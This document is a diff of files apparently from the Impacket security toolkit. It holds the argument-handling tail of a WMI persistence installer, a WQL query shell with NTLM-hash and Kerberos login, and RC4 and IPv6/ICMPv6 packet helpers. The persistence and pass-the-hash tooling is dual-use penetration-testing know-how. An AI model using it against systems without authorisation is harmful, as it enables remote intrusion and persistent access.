group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
if options.action.upper() == 'INSTALL':
if (options.filter is None and options.timer is None) or (options.filter is not None and options.timer is not None):
logging.error("You have to either specify -filter or -timer (and not both)")
sys.exit(1)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
try:
if domain is None:
domain = ''
if options.aesKey is not None:
options.k = True
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
executer = WMIPERSISTENCE(username, password, domain, options)
executer.run(address)
except (Exception, KeyboardInterrupt), e:
#import traceback
#print traceback.print_exc()
logging.error(e)
sys.exit(0)

View File

@@ -0,0 +1,208 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: [MS-WMI] example. It allows to issue WQL queries and
# get description of the objects.
#
# e.g.: select name from win32_account
# e.g.: describe win32_process
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# DCOM
#
import argparse
import sys
import os
import logging
from impacket.examples import logger
from impacket import version
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE
if __name__ == '__main__':
import cmd
class WMIQUERY(cmd.Cmd):
def __init__(self, iWbemServices):
cmd.Cmd.__init__(self)
self.iWbemServices = iWbemServices
self.prompt = 'WQL> '
self.intro = '[!] Press help for extra shell commands'
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
describe {class} - describes class
! {cmd} - executes a local shell cmd
"""
def do_shell(self, s):
os.system(s)
def do_describe(self, sClass):
sClass = sClass.strip('\n')
if sClass[-1:] == ';':
sClass = sClass[:-1]
try:
iObject, _ = self.iWbemServices.GetObject(sClass)
iObject.printInformation()
iObject.RemRelease()
except Exception, e:
#import traceback
#print traceback.print_exc()
logging.error(str(e))
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
os.chdir(s)
def printReply(self, iEnum):
printHeader = True
while True:
try:
pEnum = iEnum.Next(0xffffffff,1)[0]
record = pEnum.getProperties()
if printHeader is True:
print '|',
for col in record:
print '%s |' % col,
print
printHeader = False
print '|',
for key in record:
print '%s |' % record[key]['value'],
print
except Exception, e:
#import traceback
#print traceback.print_exc()
if str(e).find('S_FALSE') < 0:
raise
else:
break
iEnum.RemRelease()
def default(self, line):
line = line.strip('\n')
if line[-1:] == ';':
line = line[:-1]
try:
iEnumWbemClassObject = self.iWbemServices.ExecQuery(line.strip('\n'))
self.printReply(iEnumWbemClassObject)
iEnumWbemClassObject.RemRelease()
except Exception, e:
logging.error(str(e))
def emptyline(self):
pass
def do_exit(self, line):
return True
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Executes WQL queries and gets object descriptions "
"using Windows Management Instrumentation.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-namespace', action='store', default='//./root/cimv2', help='namespace name (default //./root/cimv2)')
parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the WQL shell')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-rpc-auth-level', choices=['integrity', 'privacy','default'], nargs='?', default='default',
help='default, integrity (RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) or privacy '
'(RPC_C_AUTHN_LEVEL_PKT_PRIVACY). For example CIM path "root/MSCluster" would require '
'privacy level by default)')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
try:
dcom = DCOMConnection(address, username, password, domain, lmhash, nthash, options.aesKey, oxidResolver=True,
doKerberos=options.k, kdcHost=options.dc_ip)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin(options.namespace, NULL, NULL)
if options.rpc_auth_level == 'privacy':
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
elif options.rpc_auth_level == 'integrity':
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
iWbemLevel1Login.RemRelease()
shell = WMIQUERY(iWbemServices)
if options.file is None:
shell.cmdloop()
else:
for line in options.file.readlines():
print "WQL> %s" % line,
shell.onecmd(line)
iWbemServices.RemRelease()
dcom.disconnect()
except Exception, e:
logging.error(str(e))
try:
dcom.disconnect()
except:
pass

View File

@@ -0,0 +1,34 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# IEEE 802.11 Network packet codecs.
#
# Author:
# Gustavo Moreira
class RC4():
def __init__(self, key):
j = 0
self.state = range(256)
for i in range(256):
j = (j + self.state[i] + ord(key[i % len(key)])) & 0xff
self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j)
def encrypt(self, data):
i = j = 0
out=''
for char in data:
i = (i+1) & 0xff
j = (j+self.state[i]) & 0xff
self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j)
out+=chr(ord(char) ^ self.state[(self.state[i] + self.state[j]) & 0xff])
return out
def decrypt(self, data):
# It's symmetric
return self.encrypt(data)

View File

@@ -0,0 +1,54 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# IEEE 802.11 Network packet codecs.
#
# Author:
# Gustavo Moreira
from array import array
class KeyManager:
def __init__(self):
self.keys = {}
def __get_bssid_hasheable_type(self, bssid):
# List is an unhashable type
if not isinstance(bssid, (list,tuple,array)):
raise Exception('BSSID datatype must be a tuple, list or array')
return tuple(bssid)
def add_key(self, bssid, key):
bssid=self.__get_bssid_hasheable_type(bssid)
if not bssid in self.keys:
self.keys[bssid] = key
return True
else:
return False
def replace_key(self, bssid, key):
bssid=self.__get_bssid_hasheable_type(bssid)
self.keys[bssid] = key
return True
def get_key(self, bssid):
bssid=self.__get_bssid_hasheable_type(bssid)
if self.keys.has_key(bssid):
return self.keys[bssid]
else:
return False
def delete_key(self, bssid):
bssid=self.__get_bssid_hasheable_type(bssid)
if not isinstance(bssid, list):
raise Exception('BSSID datatype must be a list')
if self.keys.has_key(bssid):
del self.keys[bssid]
return True
return False

View File

@@ -0,0 +1,527 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import array
import struct
from ImpactPacket import Header, Data
from IP6_Address import IP6_Address
class ICMP6(Header):
#IP Protocol number for ICMP6
IP_PROTOCOL_NUMBER = 58
protocol = IP_PROTOCOL_NUMBER #ImpactDecoder uses the constant "protocol" as the IP Protocol Number
#Size of ICMP6 header (excluding payload)
HEADER_SIZE = 4
#ICMP6 Message Type numbers
DESTINATION_UNREACHABLE = 1
PACKET_TOO_BIG = 2
TIME_EXCEEDED = 3
PARAMETER_PROBLEM = 4
ECHO_REQUEST = 128
ECHO_REPLY = 129
ROUTER_SOLICITATION = 133
ROUTER_ADVERTISEMENT = 134
NEIGHBOR_SOLICITATION = 135
NEIGHBOR_ADVERTISEMENT = 136
REDIRECT_MESSAGE = 137
NODE_INFORMATION_QUERY = 139
NODE_INFORMATION_REPLY = 140
#Destination Unreachable codes
NO_ROUTE_TO_DESTINATION = 0
ADMINISTRATIVELY_PROHIBITED = 1
BEYOND_SCOPE_OF_SOURCE_ADDRESS = 2
ADDRESS_UNREACHABLE = 3
PORT_UNREACHABLE = 4
SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY = 5
REJECT_ROUTE_TO_DESTINATION = 6
#Time Exceeded codes
HOP_LIMIT_EXCEEDED_IN_TRANSIT = 0
FRAGMENT_REASSEMBLY_TIME_EXCEEDED = 1
#Parameter problem codes
ERRONEOUS_HEADER_FIELD_ENCOUNTERED = 0
UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED = 1
UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED = 2
#Node Information codes
NODE_INFORMATION_QUERY_IPV6 = 0
NODE_INFORMATION_QUERY_NAME_OR_EMPTY = 1
NODE_INFORMATION_QUERY_IPV4 = 2
NODE_INFORMATION_REPLY_SUCCESS = 0
NODE_INFORMATION_REPLY_REFUSED = 1
NODE_INFORMATION_REPLY_UNKNOWN_QTYPE = 2
#Node Information qtypes
NODE_INFORMATION_QTYPE_NOOP = 0
NODE_INFORMATION_QTYPE_UNUSED = 1
NODE_INFORMATION_QTYPE_NODENAME = 2
NODE_INFORMATION_QTYPE_NODEADDRS = 3
NODE_INFORMATION_QTYPE_IPv4ADDRS = 4
#ICMP Message semantic types (error or informational)
ERROR_MESSAGE = 0
INFORMATIONAL_MESSAGE = 1
#ICMP message dictionary - specifying text descriptions and valid message codes
#Key: ICMP message number
#Data: Tuple ( Message Type (error/informational), Text description, Codes dictionary (can be None) )
#Codes dictionary
#Key: Code number
#Data: Text description
#ICMP message dictionary tuple indexes
MSG_TYPE_INDEX = 0
DESCRIPTION_INDEX = 1
CODES_INDEX = 2
icmp_messages = {
DESTINATION_UNREACHABLE : (ERROR_MESSAGE, "Destination unreachable",
{ NO_ROUTE_TO_DESTINATION : "No route to destination",
ADMINISTRATIVELY_PROHIBITED : "Administratively prohibited",
BEYOND_SCOPE_OF_SOURCE_ADDRESS : "Beyond scope of source address",
ADDRESS_UNREACHABLE : "Address unreachable",
PORT_UNREACHABLE : "Port unreachable",
SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY : "Source address failed ingress/egress policy",
REJECT_ROUTE_TO_DESTINATION : "Reject route to destination"
}),
PACKET_TOO_BIG : (ERROR_MESSAGE, "Packet too big", None),
TIME_EXCEEDED : (ERROR_MESSAGE, "Time exceeded",
{HOP_LIMIT_EXCEEDED_IN_TRANSIT : "Hop limit exceeded in transit",
FRAGMENT_REASSEMBLY_TIME_EXCEEDED : "Fragment reassembly time exceeded"
}),
PARAMETER_PROBLEM : (ERROR_MESSAGE, "Parameter problem",
{
ERRONEOUS_HEADER_FIELD_ENCOUNTERED : "Erroneous header field encountered",
UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED : "Unrecognized Next Header type encountered",
UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED : "Unrecognized IPv6 Option Encountered"
}),
ECHO_REQUEST : (INFORMATIONAL_MESSAGE, "Echo request", None),
ECHO_REPLY : (INFORMATIONAL_MESSAGE, "Echo reply", None),
ROUTER_SOLICITATION : (INFORMATIONAL_MESSAGE, "Router Solicitation", None),
ROUTER_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, "Router Advertisement", None),
NEIGHBOR_SOLICITATION : (INFORMATIONAL_MESSAGE, "Neighbor Solicitation", None),
NEIGHBOR_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, "Neighbor Advertisement", None),
REDIRECT_MESSAGE : (INFORMATIONAL_MESSAGE, "Redirect Message", None),
NODE_INFORMATION_QUERY: (INFORMATIONAL_MESSAGE, "Node Information Query", None),
NODE_INFORMATION_REPLY: (INFORMATIONAL_MESSAGE, "Node Information Reply", None),
}
############################################################################
def __init__(self, buffer = None):
Header.__init__(self, self.HEADER_SIZE)
if (buffer):
self.load_header(buffer)
def get_header_size(self):
return self.HEADER_SIZE
def get_ip_protocol_number(self):
return self.IP_PROTOCOL_NUMBER
def __str__(self):
type = self.get_type()
code = self.get_code()
checksum = self.get_checksum()
s = "ICMP6 - Type: " + str(type) + " - " + self.__get_message_description() + "\n"
s += "Code: " + str(code)
if (self.__get_code_description() != ""):
s += " - " + self.__get_code_description()
s += "\n"
s += "Checksum: " + str(checksum) + "\n"
return s
def __get_message_description(self):
return self.icmp_messages[self.get_type()][self.DESCRIPTION_INDEX]
def __get_code_description(self):
code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX]
if (code_dictionary is None):
return ""
else:
return code_dictionary[self.get_code()]
############################################################################
def get_type(self):
return (self.get_byte(0))
def get_code(self):
return (self.get_byte(1))
def get_checksum(self):
return (self.get_word(2))
############################################################################
def set_type(self, type):
self.set_byte(0, type)
def set_code(self, code):
self.set_byte(1, code)
def set_checksum(self, checksum):
self.set_word(2, checksum)
############################################################################
def calculate_checksum(self):
#Initialize the checksum value to 0 to yield a correct calculation
self.set_checksum(0)
#Fetch the pseudo header from the IP6 parent packet
pseudo_header = self.parent().get_pseudo_header()
#Fetch the ICMP data
icmp_header = self.get_bytes()
#Build an array of bytes concatenating the pseudo_header, the ICMP header and the ICMP data (if present)
checksum_array = array.array('B')
checksum_array.extend(pseudo_header)
checksum_array.extend(icmp_header)
if (self.child()):
checksum_array.extend(self.child().get_bytes())
#Compute the checksum over that array
self.set_checksum(self.compute_checksum(checksum_array))
def is_informational_message(self):
return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.INFORMATIONAL_MESSAGE
def is_error_message(self):
return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.ERROR_MESSAGE
def is_well_formed(self):
well_formed = True
#Check that the message type is known
well_formed &= self.get_type() in self.icmp_messages.keys()
#Check that the code is known (zero, if there are no codes defined)
code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX]
if (code_dictionary is None):
well_formed &= self.get_code() == 0
else:
well_formed &= self.get_code() in code_dictionary.keys()
return well_formed
############################################################################
@classmethod
def Echo_Request(class_object, id, sequence_number, arbitrary_data = None):
return class_object.__build_echo_message(ICMP6.ECHO_REQUEST, id, sequence_number, arbitrary_data)
@classmethod
def Echo_Reply(class_object, id, sequence_number, arbitrary_data = None):
return class_object.__build_echo_message(ICMP6.ECHO_REPLY, id, sequence_number, arbitrary_data)
@classmethod
def __build_echo_message(class_object, type, id, sequence_number, arbitrary_data):
#Build ICMP6 header
icmp_packet = ICMP6()
icmp_packet.set_type(type)
icmp_packet.set_code(0)
#Pack ICMP payload
icmp_bytes = struct.pack('>H', id)
icmp_bytes += struct.pack('>H', sequence_number)
if (arbitrary_data is not None):
icmp_bytes += array.array('B', arbitrary_data).tostring()
icmp_payload = Data()
icmp_payload.set_data(icmp_bytes)
#Link payload to header
icmp_packet.contains(icmp_payload)
return icmp_packet
############################################################################
@classmethod
def Destination_Unreachable(class_object, code, originating_packet_data = None):
unused_bytes = [0x00, 0x00, 0x00, 0x00]
return class_object.__build_error_message(ICMP6.DESTINATION_UNREACHABLE, code, unused_bytes, originating_packet_data)
@classmethod
def Packet_Too_Big(class_object, MTU, originating_packet_data = None):
MTU_bytes = struct.pack('!L', MTU)
return class_object.__build_error_message(ICMP6.PACKET_TOO_BIG, 0, MTU_bytes, originating_packet_data)
@classmethod
def Time_Exceeded(class_object, code, originating_packet_data = None):
unused_bytes = [0x00, 0x00, 0x00, 0x00]
return class_object.__build_error_message(ICMP6.TIME_EXCEEDED, code, unused_bytes, originating_packet_data)
@classmethod
def Parameter_Problem(class_object, code, pointer, originating_packet_data = None):
pointer_bytes = struct.pack('!L', pointer)
return class_object.__build_error_message(ICMP6.PARAMETER_PROBLEM, code, pointer_bytes, originating_packet_data)
@classmethod
def __build_error_message(class_object, type, code, data, originating_packet_data):
#Build ICMP6 header
icmp_packet = ICMP6()
icmp_packet.set_type(type)
icmp_packet.set_code(code)
#Pack ICMP payload
icmp_bytes = array.array('B', data).tostring()
if (originating_packet_data is not None):
icmp_bytes += array.array('B', originating_packet_data).tostring()
icmp_payload = Data()
icmp_payload.set_data(icmp_bytes)
#Link payload to header
icmp_packet.contains(icmp_payload)
return icmp_packet
############################################################################
@classmethod
def Neighbor_Solicitation(class_object, target_address):
return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_SOLICITATION, target_address)
@classmethod
def Neighbor_Advertisement(class_object, target_address):
return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_ADVERTISEMENT, target_address)
@classmethod
def __build_neighbor_message(class_object, msg_type, target_address):
#Build ICMP6 header
icmp_packet = ICMP6()
icmp_packet.set_type(msg_type)
icmp_packet.set_code(0)
# Flags + Reserved
icmp_bytes = array.array('B', [0x00] * 4).tostring()
# Target Address: The IP address of the target of the solicitation.
# It MUST NOT be a multicast address.
icmp_bytes += array.array('B', IP6_Address(target_address).as_bytes()).tostring()
icmp_payload = Data()
icmp_payload.set_data(icmp_bytes)
#Link payload to header
icmp_packet.contains(icmp_payload)
return icmp_packet
############################################################################
def get_target_address(self):
return IP6_Address(self.child().get_bytes()[4:20])
def set_target_address(self, target_address):
address = IP6_Address(target_address)
payload_bytes = self.child().get_bytes()
payload_bytes[4:20] = address.get_bytes()
self.child().set_bytes(payload_bytes)
# 0 1 2 3 4 5 6 7
# +-+-+-+-+-+-+-+-+
# |R|S|O|reserved |
# +-+-+-+-+-+-+-+-+
def get_neighbor_advertisement_flags(self):
return self.child().get_byte(0)
def set_neighbor_advertisement_flags(self, flags):
self.child().set_byte(0, flags)
def get_router_flag(self):
return (self.get_neighbor_advertisement_flags() & 0x80) != 0
def set_router_flag(self, flag_value):
curr_flags = self.get_neighbor_advertisement_flags()
if flag_value:
curr_flags |= 0x80
else:
curr_flags &= ~0x80
self.set_neighbor_advertisement_flags(curr_flags)
def get_solicited_flag(self):
return (self.get_neighbor_advertisement_flags() & 0x40) != 0
def set_solicited_flag(self, flag_value):
curr_flags = self.get_neighbor_advertisement_flags()
if flag_value:
curr_flags |= 0x40
else:
curr_flags &= ~0x40
self.set_neighbor_advertisement_flags(curr_flags)
def get_override_flag(self):
return (self.get_neighbor_advertisement_flags() & 0x20) != 0
def set_override_flag(self, flag_value):
curr_flags = self.get_neighbor_advertisement_flags()
if flag_value:
curr_flags |= 0x20
else:
curr_flags &= ~0x20
self.set_neighbor_advertisement_flags(curr_flags)
############################################################################
@classmethod
def Node_Information_Query(class_object, code, payload = None):
return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_QUERY, code, payload)
@classmethod
def Node_Information_Reply(class_object, code, payload = None):
return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_REPLY, code, payload)
@classmethod
def __build_node_information_message(class_object, type, code, payload = None):
#Build ICMP6 header
icmp_packet = ICMP6()
icmp_packet.set_type(type)
icmp_packet.set_code(code)
#Pack ICMP payload
qtype = 0
flags = 0
nonce = [0x00] * 8
icmp_bytes = struct.pack('>H', qtype)
icmp_bytes += struct.pack('>H', flags)
icmp_bytes += array.array('B', nonce).tostring()
if payload is not None:
icmp_bytes += array.array('B', payload).tostring()
icmp_payload = Data()
icmp_payload.set_data(icmp_bytes)
#Link payload to header
icmp_packet.contains(icmp_payload)
return icmp_packet
def get_qtype(self):
return self.child().get_word(0)
def set_qtype(self, qtype):
self.child().set_word(0, qtype)
def get_nonce(self):
return self.child().get_bytes()[4:12]
def set_nonce(self, nonce):
payload_bytes = self.child().get_bytes()
payload_bytes[4:12] = array.array('B', nonce)
self.child().set_bytes(payload_bytes)
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# | unused |G|S|L|C|A|T|
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
def get_flags(self):
return self.child().get_word(2)
def set_flags(self, flags):
self.child().set_word(2, flags)
def get_flag_T(self):
return (self.get_flags() & 0x0001) != 0
def set_flag_T(self, flag_value):
curr_flags = self.get_flags()
if flag_value:
curr_flags |= 0x0001
else:
curr_flags &= ~0x0001
self.set_flags(curr_flags)
def get_flag_A(self):
return (self.get_flags() & 0x0002) != 0
def set_flag_A(self, flag_value):
curr_flags = self.get_flags()
if flag_value:
curr_flags |= 0x0002
else:
curr_flags &= ~0x0002
self.set_flags(curr_flags)
def get_flag_C(self):
return (self.get_flags() & 0x0004) != 0
def set_flag_C(self, flag_value):
curr_flags = self.get_flags()
if flag_value:
curr_flags |= 0x0004
else:
curr_flags &= ~0x0004
self.set_flags(curr_flags)
def get_flag_L(self):
return (self.get_flags() & 0x0008) != 0
def set_flag_L(self, flag_value):
curr_flags = self.get_flags()
if flag_value:
curr_flags |= 0x0008
else:
curr_flags &= ~0x0008
self.set_flags(curr_flags)
def get_flag_S(self):
return (self.get_flags() & 0x0010) != 0
def set_flag_S(self, flag_value):
curr_flags = self.get_flags()
if flag_value:
curr_flags |= 0x0010
else:
curr_flags &= ~0x0010
self.set_flags(curr_flags)
def get_flag_G(self):
return (self.get_flags() & 0x0020) != 0
def set_flag_G(self, flag_value):
curr_flags = self.get_flags()
if flag_value:
curr_flags |= 0x0020
else:
curr_flags &= ~0x0020
self.set_flags(curr_flags)
def set_node_information_data(self, data):
payload_bytes = self.child().get_bytes()
payload_bytes[12:] = array.array('B', data)
self.child().set_bytes(payload_bytes)
def get_note_information_data(self):
return self.child().get_bytes()[12:]
############################################################################
def get_echo_id(self):
return self.child().get_word(0)
def get_echo_sequence_number(self):
return self.child().get_word(2)
def get_echo_arbitrary_data(self):
return self.child().get_bytes()[4:]
def get_mtu(self):
return self.child().get_long(0)
def get_parm_problem_pointer(self):
return self.child().get_long(0)
def get_originating_packet_data(self):
return self.child().get_bytes()[4:]

View File

@@ -0,0 +1,189 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import struct
import array
from ImpactPacket import Header
from IP6_Address import IP6_Address
from IP6_Extension_Headers import IP6_Extension_Header
from impacket import LOG
class IP6(Header):
#Ethertype value for IPv6
ethertype = 0x86DD
HEADER_SIZE = 40
IP_PROTOCOL_VERSION = 6
def __init__(self, buffer = None):
Header.__init__(self, IP6.HEADER_SIZE)
self.set_ip_v(IP6.IP_PROTOCOL_VERSION)
if (buffer):
self.load_header(buffer)
def contains(self, aHeader):
Header.contains(self, aHeader)
if isinstance(aHeader, IP6_Extension_Header):
self.set_next_header(aHeader.get_header_type())
def get_header_size(self):
return IP6.HEADER_SIZE
def __str__(self):
protocol_version = self.get_ip_v()
traffic_class = self.get_traffic_class()
flow_label = self.get_flow_label()
payload_length = self.get_payload_length()
next_header = self.get_next_header()
hop_limit = self.get_hop_limit()
source_address = self.get_ip_src()
destination_address = self.get_ip_dst()
s = "Protocol version: " + str(protocol_version) + "\n"
s += "Traffic class: " + str(traffic_class) + "\n"
s += "Flow label: " + str(flow_label) + "\n"
s += "Payload length: " + str(payload_length) + "\n"
s += "Next header: " + str(next_header) + "\n"
s += "Hop limit: " + str(hop_limit) + "\n"
s += "Source address: " + source_address.as_string() + "\n"
s += "Destination address: " + destination_address.as_string() + "\n"
return s
def get_pseudo_header(self):
source_address = self.get_ip_src().as_bytes()
#FIXME - Handle Routing header special case
destination_address = self.get_ip_dst().as_bytes()
reserved_bytes = [ 0x00, 0x00, 0x00 ]
upper_layer_packet_length = self.get_payload_length()
upper_layer_protocol_number = self.get_next_header()
next_header = self.child()
while isinstance(next_header, IP6_Extension_Header):
# The length used in the pseudo-header is the Payload Length from the IPv6 header, minus
# the length of any extension headers present between the IPv6 header and the upper-layer header
upper_layer_packet_length -= next_header.get_header_size()
# If there are extension headers, fetch the correct upper-player protocol number by traversing the list
upper_layer_protocol_number = next_header.get_next_header()
next_header = next_header.child()
pseudo_header = array.array('B')
pseudo_header.extend(source_address)
pseudo_header.extend(destination_address)
pseudo_header.fromstring(struct.pack('!L', upper_layer_packet_length))
pseudo_header.fromlist(reserved_bytes)
pseudo_header.fromstring(struct.pack('B', upper_layer_protocol_number))
return pseudo_header
############################################################################
def get_ip_v(self):
return (self.get_byte(0) & 0xF0) >> 4
def get_traffic_class(self):
return ((self.get_byte(0) & 0x0F) << 4) | ((self.get_byte(1) & 0xF0) >> 4)
def get_flow_label(self):
return (self.get_byte(1) & 0x0F) << 16 | (self.get_byte(2) << 8) | self.get_byte(3)
def get_payload_length(self):
return (self.get_byte(4) << 8) | self.get_byte(5)
def get_next_header(self):
return (self.get_byte(6))
def get_hop_limit(self):
return (self.get_byte(7))
def get_ip_src(self):
address = IP6_Address(self.get_bytes()[8:24])
return (address)
def get_ip_dst(self):
address = IP6_Address(self.get_bytes()[24:40])
return (address)
############################################################################
def set_ip_v(self, version):
if (version != 6):
raise Exception('set_ip_v - version != 6')
#Fetch byte, clear high nibble
b = self.get_byte(0) & 0x0F
#Store version number in high nibble
b |= (version << 4)
#Store byte in buffer
#This behaviour is repeated in the rest of the methods
self.set_byte(0, b)
def set_traffic_class(self, traffic_class):
b0 = self.get_byte(0) & 0xF0
b1 = self.get_byte(1) & 0x0F
b0 |= (traffic_class & 0xF0) >> 4
b1 |= (traffic_class & 0x0F) << 4
self.set_byte(0, b0)
self.set_byte(1, b1)
def set_flow_label(self, flow_label):
b1 = self.get_byte(1) & 0xF0
b1 |= (flow_label & 0xF0000) >> 16
self.set_byte(1, b1)
self.set_byte(2, (flow_label & 0x0FF00) >> 8)
self.set_byte(3, (flow_label & 0x000FF))
def set_payload_length(self, payload_length):
self.set_byte(4, (payload_length & 0xFF00) >> 8)
self.set_byte(5, (payload_length & 0x00FF))
def set_next_header(self, next_header):
self.set_byte(6, next_header)
def set_hop_limit(self, hop_limit):
self.set_byte(7, hop_limit)
def set_ip_src(self, source_address):
address = IP6_Address(source_address)
bytes = self.get_bytes()
bytes[8:24] = address.as_bytes()
self.set_bytes(bytes)
def set_ip_dst(self, destination_address):
address = IP6_Address(destination_address)
bytes = self.get_bytes()
bytes[24:40] = address.as_bytes()
self.set_bytes(bytes)
def get_protocol_version(self):
LOG.warning('deprecated soon')
return self.get_ip_v()
def get_source_address(self):
LOG.warning('deprecated soon')
return self.get_ip_src()
def get_destination_address(self):
LOG.warning('deprecated soon')
return self.get_ip_dst()
def set_protocol_version(self, version):
LOG.warning('deprecated soon')
self.set_ip_v(version)
def set_source_address(self, source_address):
LOG.warning('deprecated soon')
self.set_ip_src(source_address)
def set_destination_address(self, destination_address):
LOG.warning('deprecated soon')
self.set_ip_dst(destination_address)

View File

@@ -0,0 +1,280 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import array
class IP6_Address():
ADDRESS_BYTE_SIZE = 16
#A Hex Group is a 16-bit unit of the address
TOTAL_HEX_GROUPS = 8
HEX_GROUP_SIZE = 4 #Size in characters
TOTAL_SEPARATORS = TOTAL_HEX_GROUPS - 1
ADDRESS_TEXT_SIZE = (TOTAL_HEX_GROUPS * HEX_GROUP_SIZE) + TOTAL_SEPARATORS
SEPARATOR = ":"
SCOPE_SEPARATOR = "%"
#############################################################################################################
# Constructor and construction helpers
def __init__(self, address):
#The internal representation of an IP6 address is a 16-byte array
self.__bytes = array.array('B', '\0' * self.ADDRESS_BYTE_SIZE)
self.__scope_id = ""
#Invoke a constructor based on the type of the argument
if type(address) is str or type(address) is unicode:
self.__from_string(address)
else:
self.__from_bytes(address)
def __from_string(self, address):
#Separate the Scope ID, if present
if self.__is_a_scoped_address(address):
split_parts = address.split(self.SCOPE_SEPARATOR)
address = split_parts[0]
if (split_parts[1] == ""):
raise Exception("Empty scope ID")
self.__scope_id = split_parts[1]
#Expand address if it's in compressed form
if self.__is_address_in_compressed_form(address):
address = self.__expand_compressed_address(address)
